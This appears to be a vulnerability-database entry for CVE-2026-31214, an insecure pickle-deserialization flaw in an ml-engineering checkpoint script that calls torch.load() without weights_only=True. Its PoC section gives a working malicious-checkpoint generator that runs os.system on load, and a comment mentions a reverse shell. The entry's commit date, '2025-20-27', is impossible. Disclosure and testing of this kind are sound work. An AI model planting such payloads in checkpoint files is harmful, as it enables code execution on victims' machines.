Security Vulnerability Report
中文
CVE-2026-31214 CVSS 9.8 CRITICAL

CVE-2026-31214

Published: 2026-05-12 16:16:13
Last Modified: 2026-05-13 15:51:52

Description

The torch-checkpoint-shrink.py script in the ml-engineering project in commit 0099885db36a8f06556efe1faf552518852cb1e0 (2025-20-27) contains an insecure deserialization vulnerability (CWE-502). The script uses torch.load() to process PyTorch checkpoint files (.pt) without enabling the security-restrictive weights_only=True parameter. This oversight allows the deserialization of arbitrary Python objects via the pickle module. A remote attacker can exploit this by providing a maliciously crafted checkpoint file, leading to arbitrary code execution in the context of the user running the script.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

ml-engineering commit 0099885db36a8f06556efe1faf552518852cb1e0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import torch import pickle import os # Define a malicious class that executes code upon deserialization class MaliciousPayload: def __reduce__(self): # The command to execute: creating a file as proof of concept # In a real attack, this could be a reverse shell return (os.system, ('touch /tmp/pwned_by_cve_2026_31214',)) # Create the malicious object exploit = MaliciousPayload() # Serialize the object using pickle and save it as a .pt file # This mimics a PyTorch checkpoint file filename = 'malicious_checkpoint.pt' with open(filename, 'wb') as f: pickle.dump(exploit, f) print(f"Malicious checkpoint '{filename}' created.") print("When torch.load('malicious_checkpoint.pt') is run without weights_only=True, the command executes.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-31214", "sourceIdentifier": "[email protected]", "published": "2026-05-12T16:16:13.270", "lastModified": "2026-05-13T15:51:52.177", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The torch-checkpoint-shrink.py script in the ml-engineering project in commit 0099885db36a8f06556efe1faf552518852cb1e0 (2025-20-27) contains an insecure deserialization vulnerability (CWE-502). The script uses torch.load() to process PyTorch checkpoint files (.pt) without enabling the security-restrictive weights_only=True parameter. This oversight allows the deserialization of arbitrary Python objects via the pickle module. A remote attacker can exploit this by providing a maliciously crafted checkpoint file, leading to arbitrary code execution in the context of the user running the script."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-502"}]}], "references": [{"url": "https://github.com/stas00/ml-engineering/blob/master/training/checkpoints/torch-checkpoint-shrink.py#L57", "source": "[email protected]"}, {"url": "https://www.notion.so/CVE-2026-31214-35d1e1393188813fa40eef73c174cee5", "source": "[email protected]"}]}}